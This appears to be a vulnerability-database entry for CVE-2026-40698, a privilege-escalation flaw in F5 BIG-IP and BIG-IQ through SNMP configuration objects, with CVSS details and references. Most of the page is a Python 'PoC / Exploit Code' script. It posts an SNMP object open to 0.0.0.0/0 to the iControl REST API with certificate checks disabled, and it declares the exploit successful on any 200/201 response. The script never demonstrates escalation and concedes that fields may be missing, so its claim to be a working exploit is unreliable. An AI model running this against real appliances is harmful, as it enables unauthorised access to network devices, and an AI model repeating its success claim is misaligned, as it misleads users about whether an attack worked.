CVE-2026-40698

Description

A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Resource Administrator role can create SNMP configuration objects through iControl REST or the TMOS shell (tmsh) resulting in privilege escalation. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score

8.7

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

F5 BIG-IP (具体受影响版本请参考官方公告K000160981)

F5 BIG-IQ (具体受影响版本请参考官方公告K000160981)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# Target F5 BIG-IP/iControl REST endpoint
target_url = "https://<TARGET_IP>/mgmt/tm/sys/snmp/"
auth = ("<RESOURCE_ADMIN_USER>", "<PASSWORD>")

headers = {
    "Content-Type": "application/json",
}

# Payload to create a malicious SNMP configuration object
# Exploiting the lack of strict privilege checks on object creation
payload = {
    "name": "exploit_config",
    "allowedAddresses": ["0.0.0.0/0"], # Example configuration
    # Additional fields might be required based on specific API version
}

try:
    # Send POST request to create object
    response = requests.post(target_url, data=json.dumps(payload), headers=headers, auth=auth, verify=False)
    
    if response.status_code == 200 or response.status_code == 201:
        print("[+] Exploit successful! SNMP object created.")
        print("[+] Response: " + response.text)
    else:
        print("[-] Exploit failed. Status code: " + str(response.status_code))

except Exception as e:
    print("[-] An error occurred: " + str(e))

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40698
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40698
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40698/
[4] VulDB https://vuldb.com/cve/CVE-2026-40698
[5] https://my.f5.com/manage/s/article/K000160981

Raw JSON Data

JSON

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